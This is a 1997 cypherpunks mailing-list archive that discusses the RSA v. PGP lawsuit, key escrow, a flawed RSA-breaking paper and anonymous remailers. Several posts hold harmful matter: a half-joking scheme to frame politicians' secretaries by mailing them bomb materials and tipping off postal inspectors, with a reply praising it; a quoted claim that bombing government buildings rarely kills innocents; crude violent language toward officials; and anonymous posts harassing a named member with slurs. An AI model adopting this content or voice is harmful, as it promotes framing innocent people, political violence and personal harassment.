.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 14 May 1997 01:28:48 +0800
To: cypherpunks@toad.com
Subject: PGP Prestidigitizes RSA...
Message-ID: <v030209bbaf9e396fd9c9@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


To paraphrase the cypherpunks maxim: "Cypherpunk fellow-travellers hack
corporations"...

Cheers,
Bob Hettinga

--- begin forwarded text


MIME-version: 1.0
X-MIME-Autoconverted: from quoted-printable to 8bit by listserv.aol.com id
                      LAA18484
Date:         Tue, 13 May 1997 11:03:31 -0500
Reply-To:     Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
Sender:       Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
From:         "Kevin J. Connolly" <kconnolly@EVW.COM>
Subject:      Re: Encryption--RSA v. PGP
To:           CYBERIA-L@LISTSERV.AOL.COM

-----BEGIN PGP SIGNED MESSAGE-----

There are several additional bits and pieces to report.

First, RSA is not seeking to enjoin the distribution of PGP products.  The
lawsuit is seeking solely to revise the royalties to be paid.

Second, it can be said that the suit represents something of a stretch.
RSA (the original patent holder) assigned the patent to Public Key
Partners, whose membership consists of RSA Data Security, Inc. and
Cylink Corporation.  Public Key Partners had granted a license to
ViaCrypt, Inc., which was acquired by Lemcom, Inc.  Then Pretty Good
Privacy, Inc. acquired Lemcom and performed a reverse subsidiary
merger, with Lemcom as the surviving entity.  Lemcom then changed its
corporate style to (surprise!) Pretty Good Privacy, Inc.  Cylink--the other
half of Public Key Partners-- was not consulted before RSA purported to
terminate the license and sue PGP.

Third, It appears that one major reason for RSA's purported termination
of the license agreement was to get around the very broad arbitration
clause in the license agreement.

Finally, it appears that RSA commenced the suit in reaction to PGP's
development of algorithm-independent encryption.  This innovation would
make it possible for PGP to embrace not only the RSA Algorithm but also
Diffy-Helman, El Gamal (a variant of Diffy-Helman), elliptical curve
cryptography or even n-dimensional lattice vector schemes.  In the
meantime, however. PGP continues and will continue to incorporate the
RSA algorithm, if for no other reason than downward compatibility and
the need to continue to support the significant number of existing
RSA-based keypairs.

It should be noted that any bias apparent in this posting stems from the
failure of RSA's counsel to return my calls, even though I identified
myself and the fact that I am preparing an article for print in a significant
news weekly (which I will not identify until and unless the article actually
runs).  However, I did identify the publication to RSA's counsel, and he
chose to let me get my information from PGP, Cylink, and other industry
sources.

Kevin J. Connolly

The opinions expressed in this communication are those of the author,
not of Eaton & Van Winkle.
This communication is not legal advice.  If it were legal advice, it would
be accompanied by an invoice.
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

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qcPM0okSKCGEnySvBdeHJE2nf/7nn/CpYtFiPe36hkbfplpjOE4cRgupbr57AL9V
kxQluZQdJwJJKNwXrdhiCHHBleM7l7RUSSwIRovsMxy6+4Zd3MNweGKX7wfmFnX8
yRFOV1z7CGs=
=W5P9
-----END PGP SIGNATURE-----

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Wed, 14 May 1997 00:01:48 +0800
To: Declan McCullagh <declan@pathfinder.com>
Subject: Re: Disinformation in L.A.
In-Reply-To: <Pine.GSO.3.95.970511120544.23519C-100000@cp.pathfinder.com>
Message-ID: <Pine.SUN.3.91.970513112800.5776J-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 11 May 1997, Declan McCullagh wrote:

> Here's another good idea for a cypherpunks project: *don't* use the
> Eternity Server to post even more bomb-making instructions all over the
> Web and Usenet.
> 
> You might remember I wrote recently about the DoJ report released this
> month that calls for new legislation to ban bomb-making info online. Now
> Feinstein's office tells me she's going to introduce a bill. 
> 
> No need to throw red meat to the hounds.
> 
> (Hmmm. Looking back at my message, I'm essentially saying "censor
> yourself or the government will." Not sure I like that argument.)
> 
> -Declan

Better yet, use their own tactics against them.  Order tons of bomb 
making materials in the name of their secretaries and have them sent to 
their work and their homes.  

Send them AOL disks that contain hidden files with the bomb stuff.

Then call the postal inspectors anonymously and point them at the "evidence."

:)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder@sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 14 May 1997 03:13:38 +0800
To: cypherpunks@algebra.com
Subject: Re: Real Terrorism
In-Reply-To: <199705111714.NAA21881@dhp.com>
Message-ID: <v03007802af9e78364541@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:59 AM -0800 5/13/97, Bill Stewart wrote:
>At 01:14 PM 5/11/97 -0400, lucifer Anonymous Remailer wrote:
>> AMMONIUM TRIIODIDE CRYSTALS
>Sigh.  Terror isn't our business, and any handbook that
>can't tell ammonium tri-iodide from nitrogen tri-iodide
>is more dangerous to its readers than anyone else.
>
>If you _really_ wanted to scare governments,
>you'd start publishing papers saying things like
>
>	AMENDMENT 1 - Congress shall make no law ......
>
>or
>	n = p*q , p and q prime.
>	c = m ** e mod n

Please, Bill, don't throw them red meat like this! If we don't manage to
restrain ourselves, then they'll have to restrain us.

Posting seditious material such as your excerpt above is not only violation
of the Rights of Wimmin Act of 1997, it is also spew from Dead White Males
writing nonsense that failed to comprehend the special protections needed
by wimmin, minorities, the psychologically damaged, persons of poundage,
and the attention-challenged.

And as for your second item, I'm glad you stopped before doing more damage.
I would hate to hear Senatory Feinstein's reaction if she were to discover
that cryptographic munitions instructions were being published on the Net.

Please, people, restrain yourselves! I have to agree with Declan and Ray on
this one.

--Klaus-boom von Future Primer Cord

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Wilson <0005514706@mcimail.com>
Date: Wed, 14 May 1997 01:16:48 +0800
To: cpunks <cypherpunks@algebra.com>
Subject: Infowar, war, and cpunks
Message-ID: <97051317051367/0005514706DC2EM@mcimail.com>
MIME-Version: 1.0
Content-Type: text/plain


If any cpunk is interested in infowar, but with a strong crypto
perspective, help yourself to:
http://www.geocities.com/CapitolHill/4843/
MW





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: The Spectre <spectre@nac.net>
Date: Wed, 14 May 1997 00:36:40 +0800
To: cypherpunks@toad.com
Subject: Re: Disinformation in L.A.
Message-ID: <16115920916870@nac.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

To: cypherpunks@toad.com
Date: Tue May 13 12:16:27 1997

> Better yet, use their own tactics against them.  Order tons of bomb 
> making materials in the name of their secretaries and have them sent to 
> their work and their homes.  
> 
heh..

> Send them AOL disks that contain hidden files with the bomb stuff.
> 
> Then call the postal inspectors anonymously and point them at the 
> "evidence."
> 
> :)
You know.. this has potential... :)


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Wed, 14 May 1997 02:56:09 +0800
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: [STEGO] Secure envelopes
In-Reply-To: <199705131728.KAA25098@fat.doobie.com>
Message-ID: <Pine.A41.3.95.970513123550.109598A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 13 May 1997, Huge Cajones Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to
him.

> Tim C[ocksucker] May carries a turd in his wallet for 
> identification purposes.
> 
>     _@_
>    /   \
>   | o o |
> -U|--U--|U-- Tim C[ocksucker] May
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 14 May 1997 04:08:35 +0800
To: Ryan Anderson <cypherpunks@algebra.com
Subject: Re: Printers are munitions?
In-Reply-To: <v03007800af9e675d4ff2@[207.167.93.63]>
Message-ID: <v03007803af9e8359e305@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:19 AM -0800 5/13/97, Ryan Anderson wrote:
>On Tue, 13 May 1997, Tim May wrote:
>
>> As for transmitters in printers, this sounds like a variant. Plus, I
>> wouldn't think there was enough time between the start of the buildup of
>> the U.S. response and the air attacks for the plan to be hatched, for the
>> Iraqis to place and receive orders, etc. And the chance of some random
>> printer ending up in an air defense station seems unlikely. And so on.
>
>Besides the fact that the US wasn't exporting anything to IRAQ at the
>time, along with most of the rest of the western world, where would they
>have bought printers from?

Well, of course the U.S. wasn't shipping to Iraq at this time. I didn't
even cite this as a reason because the embargo began in August of 1990.

The original Infoworld story cited Jordan (if I remember correctly) as the
place the printers had the viruses placed in them, to make the story sound
more plausible.

I do believe the U.S. has used information warfare methods, of course. Lots
of examples, including Inslaw and Systematics, etc.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Wed, 14 May 1997 01:56:08 +0800
To: cypherpunks@toad.com
Subject: Re: War & InfoWar
Message-ID: <199705131735.NAA11422@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 11 May 1997, Paul Bradley wrote:
 
>> >   How many government employees quit in outrage, stating that    
> > they would not take part in such atrocities? How many took a
> > vocal moral stand against their superiors, or exposed the
> > government duplicity involved in the police action?
> 
> They are all whores, so I suggest we fuck them like whores.
>

No thanks, you have to pay for whores.  Let's not give them any more 
business.  Besides, who knows what VD government whores carry. AP is
better. FP (Fucking Politicians) is what they do best to each other.

WhoreMonger.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Wed, 14 May 1997 02:07:45 +0800
To: cypherpunks@cyberpass.net
Subject: Re: whine politics again
Message-ID: <199705131752.NAA13536@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Earlier, paul said:
>Also, on a slightly more practical point, as I have said, if one was to 
>bomb any major commercial or government building the chances of killing a 
>truly innocent person are fairly small anyway.

What the ultimate result here should be we all demand our legislators pass
a law prohibiting the establishment of daycare centers, schools, hospitals
or nursing homes within 1000 ft of government centers, army bases, or any
federal offices.

They could call it the "No Human Shielding law."

What legislator would dare complain that the federal government not use
his or her constituents children to shield ATF, FBI or other TLA agents?

Hey, it's "For the children", right?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: The Spectre <spectre@nac.net>
Date: Wed, 14 May 1997 02:28:30 +0800
To: cypherpunks@toad.com
Subject: Re: [STEGO] Secure envelopes
Message-ID: <18052959500386@nac.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

To: cypherpunks@toad.com
Date: Tue May 13 14:09:57 1997

> Tim C[ocksucker] May carries a turd in his wallet for 
> identification purposes.
> 
In response to this childish, no.cajones.com message, I have removed all 
previous filters and added one, simpler filter on incoming mail.  Delete 
when recieved from nobody@huge.cajones.com or lucifer@dhp.com.

I suggest you all to the same.. it may actually serve to make this list 
worthwhile...

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 14 May 1997 05:29:38 +0800
To: cypherpunks@toad.com
Subject: Re: Digital signatures
Message-ID: <199705132107.OAA06781@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Tue, 13 May 1997
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Cc: cypherpunks@toad.com
Subject: Re: Digital signatures
Sender: owner-cypherpunks@toad.com

On Mon, 12 May 1997, Huge Cajones Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to
him.

> Timmy May's family tree goes straight up. All of his ancestors 
> were siblings, to dumb to recognize Graham-John Bullers in the dark.
> 
>         _  o
>        |<)_/# Timmy May
>        TT  <T
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Modulator of alt.2600.modulated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hal Finney <hal@rain.org>
Date: Wed, 14 May 1997 05:44:16 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Public Key Break Paper
Message-ID: <199705132120.OAA30804@crypt.hfinney.com>
MIME-Version: 1.0
Content-Type: text/plain


John Young, <jya@pipeline.com>, writes:
> In early April we posted a message which referred to
> William H. Payne's paper "Public Key Cryptography is
> Easy to Break."
>
> Mr. Payne has provided the 1990 5-page draft paper 
> along with other documents, which we've added to the file
> at:
>
>    http://jya.com/snlhit.htm
>
> The paper is part of several attachments supporting
> Mr. Payne's charge against Sandia National Laboratory. 
> Other documents in the file help explain why the paper 
> is sensitive to SNL and perhaps to NSA.

I was curious to see this paper, since it would be an earth-shattering
result if true, but unsurprisingly it is not as amazing as it sounds.

First, it is not a general attack on public key cryptography, but
rather it is a specific method for attacking RSA.

Second, I remember seeing this algorithm discussed on sci.crypt in the
past, probably in 1996.  I don't know if it came from this same guy
or if somebody else (re)discovered it.  But the discussion there indicated
that the algorithm was not as efficient as claimed.  The claim is that
it takes an amount of work proportional to the number of bits in the
modulus, which would indeed be a breakthrough.  Actually I think it will
take about (2^n)/n iterations, making it a very poor method (*).

Third, it claims to break RSA without factoring, but actually the algorithm
could be used to factor n.  The algorithm gives you (p-1)(q-1) or a
large factor thereof, and as discussed on sci.crypt a few months ago,
this is enough to let you find p and q (through a tricky method whose
details I don't remember!).

Hal

(*) The final string of 1's will be as long as the value of the phi(n)
factor being found, which will be on the order of 2^n, so there will
be about 2^n 1's in the final string, more than there are atoms in the
universe for numbers of interest.  (You don't have to store the whole
string though.)  Each iteration adds at most n bits to the string, so
the number of iterations must be as above.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 14 May 1997 05:38:55 +0800
To: The Spectre <cypherpunks@toad.com
Subject: Spectre disapproves of remailers and anonmyity
In-Reply-To: <19571593902558@nac.net>
Message-ID: <v03007802af9e991b4972@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:57 AM -0800 5/13/97, The Spectre wrote:

>hmmmm.. Go figure out how many years of your life you'll waste doing that
>once you calculate how many of these messages arrive each hour, let alone
>each day.  I, personally, have been on this mailing list for a while now,
>and have never seen *any* worthwhile posts from either of those remailers,
>or any other for that matter.  If you've got something to say, say it.
>Anything less is cowardice, in one form or another.

Nonsense. People use remailers for all sorts of reasons.

(Speaking for myself, and trying to be careful to not implicate myself in
further felonies, I've used the available remailers to post liberated
information of various sorts. Go back and check the archives. You'll find
that "Dumpster divings" of information from corporate conspirators (a la
Cylink, Mykotronx) was posted through anonymous remailers. Who would argue
that the cause of liberty would be better served by posting these items
under one's own name, where the Corporate State could then file lawsuits,
order midnight raids, etc.?)

As for the time to delete the Vulis spam, you must be innumerate.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Wazoo MixMaster <mix@earth.wazoo.com>
Date: Wed, 14 May 1997 06:25:36 +0800
To: cypherpunks@toad.com
Subject: Re: [STEGO] Secure envelopes
Message-ID: <199705131436.OAA10591@earth.wazoo.com>
MIME-Version: 1.0
Content-Type: text/plain


The Spectre, writing under an anonymous name bravely wrote:

From: The Spectre <spectre@nac.net>
To: cypherpunks@toad.com
Subject: Re: [STEGO] Secure envelopes
Date: Tue, 13 May 1997 15:57:15 -0400

[snip]

hmmmm.. Go figure out how many years of your life you'll waste doing that 
once you calculate how many of these messages arrive each hour, let alone 
each day.  I, personally, have been on this mailing list for a while now, 
and have never seen *any* worthwhile posts from either of those remailers, 
or any other for that matter.  If you've got something to say, say it.  
Anything less is cowardice, in one form or another.

Or, if you like, I'll remove my spam filter and you can come hit my delete key for me... 


[snip his cowardly key block]

[snip his cowardly anonymous signature]

Let me get this straight Mr. Cowardly Lion; if one uses a remailer, he is cowardly (in one form or another). But not an anonymous address? Not PGP?

Wise up, friend; this is cypherpunks. Some of us DO these things, and we do not have to explain ourselves to you or or anyone. Some times it's for fun; sometimes it's deadly serious.

So use the delete key; add a "filter file (;--);" do whatever you choose, but spare me the sanctimonious lecture.

Hugh_Balls@lucifer.penet.fi

TruthSmuggler's Alter Ego 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hodge Podge <hodgepodge@nym.alias.net>
Date: Tue, 13 May 1997 23:02:30 +0800
To: Theodor.SCHLICKMANN@bxl.dg13.cec.be
Subject: Re: Copy of: UK TTP Paper - For Your Information
Message-ID: <19970513145014.13839.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Mon, 12 May 1997 Theodor.SCHLICKMANN@BXL.DG13.cec.be wrote:

> As further discussed in the answer to question 4, we can 
> confirm that we do not propose that the user be required to escrow his 
> private signature key (however generated) with a TTP. 
[snip]
> If, however, the TTP either generates the 
> confidentiality key pair for a user,  or, for example, certifies a 
> self-generated public key for confidentiality, then escrow of the 
> associated private key would be required under our proposals. 

This doesn't make much sense to me. If I were to use such a UTP[*]
then I'd simply get my signature key authenticated and then use that to
sign all my encryption keys rather than getting the UTP to sign them. So 
I'd get the benefits of a recognized authentication on my keys without 
having to worry about key surrender to governments. We don't _need_ to
have anyone authenticate our encryption keys, just the signature keys.

Or am I missing something? (Other than the obvious fact that this is just
the thin end of the wedge)

- -- HP

[*] UTP == Untrusted Third Party


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Charset: noconv

iQDzAwUBM3hStrmgWaN4MfkFAQH0WQbwg2Nj7+DdY5LXnqinjjhiJQCVbumMHbpD
yGHsoJJDY8BdvgtfPKBqFWSZ1OCvqYaM2M87xK5lF6qdVyESVOcr9GKuB3Cpafhk
WPwBOjcdYbL+WzsAo5T8gUH7HFv1dGI0/lMfsc42ik/Wl54YIWeWQr5ptDXpABd7
sSbgr0jjPKoqO2pyAYPS9c3mXooES99zRBDB5edWPf4ACF0u8DcMawZUuAcD+hTH
ILZV80VAnOIKKidRqNry5z90/z0L8F3qVklLRYX5qGyxZE60PEbECSE2lxjio/kh
PfbpoQCb
=ETNt
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Wed, 14 May 1997 04:01:51 +0800
To: The Spectre <spectre@nac.net>
Subject: Re: [STEGO] Secure envelopes
In-Reply-To: <18052959500386@nac.net>
Message-ID: <Pine.LNX.3.95.970513144312.971A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 13 May 1997, The Spectre wrote:

> In response to this childish, no.cajones.com message, I have removed all
> previous filters and added one, simpler filter on incoming mail.  Delete
> when recieved from nobody@huge.cajones.com or lucifer@dhp.com.
> 
> I suggest you all to the same.. it may actually serve to make this list
> worthwhile...

I suggest that nobody do this, as this will filter out anonymous mail
from these remailers.  You do, of course, have the right to filter out
whomever you want, but there are worthwhile anonymous contributions
from these remailers.  I personally don't see what the big deal is
with these ascii-art messages.  95% of the time, these messages are
very easy to spot, and the remaining 5%, it takes two seconds to hit
the "delete" key.



Mark
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBM3i4hCzIPc7jvyFpAQEeRQgAjC1em8iGn/wrCVW8ZVLMWuKpyXrZRqhX
uEsfghl8zloTbbkQeL/B91UB2VOpwbHTuWj/5KzEFGjqfFPqEnh3ACmTuj1bivIa
5o27zfo2FxHyf5fJRid3EeAw1oMgu5Yw1tza8HGHu1LjuxVI5bbqXibolVIr7h3u
cF3nxlBiP3yCd6kX+55jAIJCUKjOuxegXg2BF5hTir8C3DwRw7yNrl5xwIq2BNUE
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R9oTbOby47NdzFqVjyP6YR58xwHbj6gydH43npgW3kuDibtR4GEr5w==
=Mo8/
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: daw@cs.berkeley.edu (David Wagner)
Date: Wed, 14 May 1997 10:22:21 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Public Key Break Paper
In-Reply-To: <1.5.4.32.19970513194224.00928884@pop.pipeline.com>
Message-ID: <5laovn$et@joseph.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


In article <1.5.4.32.19970513194224.00928884@pop.pipeline.com>,
John Young  <jya@pipeline.com> wrote:
> In early April we posted a message which referred to
> William H. Payne's paper "Public Key Cryptography is
> Easy to Break."
> 
> Mr. Payne has provided the 1990 5-page draft paper 
> along with other documents, which we've added to the file
> at:
> 
>    http://jya.com/snlhit.htm

Thanks for posting.

I just took a brief look at it, (thanks for forwarding, Lucky),
and it's pure crap-ola.

[ ObTechnicalTrashing: the least x such that 2^x = 1 mod n is
very likely to be of order n, so 2^x (not modulo!) will be a
x-bit integer, and he ends up computing 2^x without doing any
reductions, so the work factor of his method is at least order
n.  Finding a prime factor by exhaustive search (try 2, 3, 5,
7, ...) would be more efficient... Sigh. ]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Wed, 14 May 1997 03:29:48 +0800
To: cypherpunks@algebra.com
Subject: Re: Printers are munitions?
In-Reply-To: <v03007800af9e675d4ff2@[207.167.93.63]>
Message-ID: <Pine.GSO.3.95.970513151744.11039J-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 13 May 1997, Tim May wrote:

> As for transmitters in printers, this sounds like a variant. Plus, I
> wouldn't think there was enough time between the start of the buildup of
> the U.S. response and the air attacks for the plan to be hatched, for the
> Iraqis to place and receive orders, etc. And the chance of some random
> printer ending up in an air defense station seems unlikely. And so on.

Besides the fact that the US wasn't exporting anything to IRAQ at the
time, along with most of the rest of the western world, where would they
have bought printers from?

(Unless of course they were purchased before the invasion of Kuwait, but
they were our allies until we misled them... hmmmmmmmm...)

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 14 May 1997 04:10:54 +0800
To: cypherpunks@toad.com
Subject: Public Key Break Paper
Message-ID: <1.5.4.32.19970513194224.00928884@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


In early April we posted a message which referred to
William H. Payne's paper "Public Key Cryptography is
Easy to Break."

Mr. Payne has provided the 1990 5-page draft paper 
along with other documents, which we've added to the file
at:

   http://jya.com/snlhit.htm

The paper is part of several attachments supporting
Mr. Payne's charge against Sandia National Laboratory. 
Other documents in the file help explain why the paper 
is sensitive to SNL and perhaps to NSA.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: The Spectre <spectre@nac.net>
Date: Wed, 14 May 1997 04:25:56 +0800
To: cypherpunks@toad.com
Subject: Re: [STEGO] Secure envelopes
Message-ID: <19571593902558@nac.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

To: cypherpunks@toad.com
Date: Tue May 13 16:01:35 1997

> On Tue, 13 May 1997, The Spectre wrote:
> 
> I suggest that nobody do this, as this will filter out anonymous mail
> from these remailers.  You do, of course, have the right to filter out
> whomever you want, but there are worthwhile anonymous contributions
> from these remailers.  I personally don't see what the big deal is
> with these ascii-art messages.  95% of the time, these messages are
> very easy to spot, and the remaining 5%, it takes two seconds to hit
> the "delete" key.
hmmmm.. Go figure out how many years of your life you'll waste doing that 
once you calculate how many of these messages arrive each hour, let alone 
each day.  I, personally, have been on this mailing list for a while now, 
and have never seen *any* worthwhile posts from either of those remailers, 
or any other for that matter.  If you've got something to say, say it.  
Anything less is cowardice, in one form or another.

Or, if you like, I'll remove my spam filter and you can come hit my delete 
key for me... 


- -----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2

mQENAzM2vJwAAAEH/1uuDgh1udD+DbU9ies8Lst3j7bmlM+m+aN0gVwerfx+uA14
AG6RDZwwCLwCZYxh0/AizW1b25nHs5XDFW7QIVo1/agtbyz3rt7plcp3wi+rXPxo
zFPgILegG2k81mHYIYVJ1g9bEExVGsNc7GMthkaOjPL2VYirQPRtAa4ZZc6JuCLH
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J0Lc5tZToA==
=tS4W
- -----END PGP PUBLIC KEY BLOCK-----

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z2Rka6QJKBs4JC5cki4Hf9zOnHfJiqc5d30v1A0S+u1paOkoGQd0zQ==
=tJQ6
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 14 May 1997 07:34:04 +0800
To: cypherpunks@algebra.com
Subject: Re: Spam Update/Cyber Promo attacked
In-Reply-To: <v03007800af99ae300ca9@[207.167.93.63]>
Message-ID: <v03007803af9eb56df0ae@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 2:54 PM -0800 5/13/97, Ray Arachelian wrote:

>Point is that in every one of their posts that I've gotten they have a
>"send email to this address with subject cancel" only it doesn't do
>shit.   They place something that makes it look like they will not spam
>you if you ask them not to, but they do anyway.

So?

>Yeah, they use the "cancel" messages to send you more spam instead of
>shutting off all spam.  This is called false advertising, no?

I don't believe in the concept of "false advertising." All advertising is
an attempt in persuasion. Sometimes founded in truth, sometimes in a wish
to believe, sometimes in outright deception. So?

(If "false advertising" were a true crime, most of the world's religions
would surely be shut down.)


>If you want to take it further in to the land of the creatures of theory,
>who owns your email?  Do you?  If so, by right of ownership can you
>decide who isn't to send you email?  You can certainly achieve this by
>filters.  If the spamming scum says "I will stop if you ask me to" and
>you ask him to stop, but he doesn't, what rights have you got against
>him?  What if he is using your email for commercial purposes without your
>consent? etc.....

Look to contract law for your answer.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
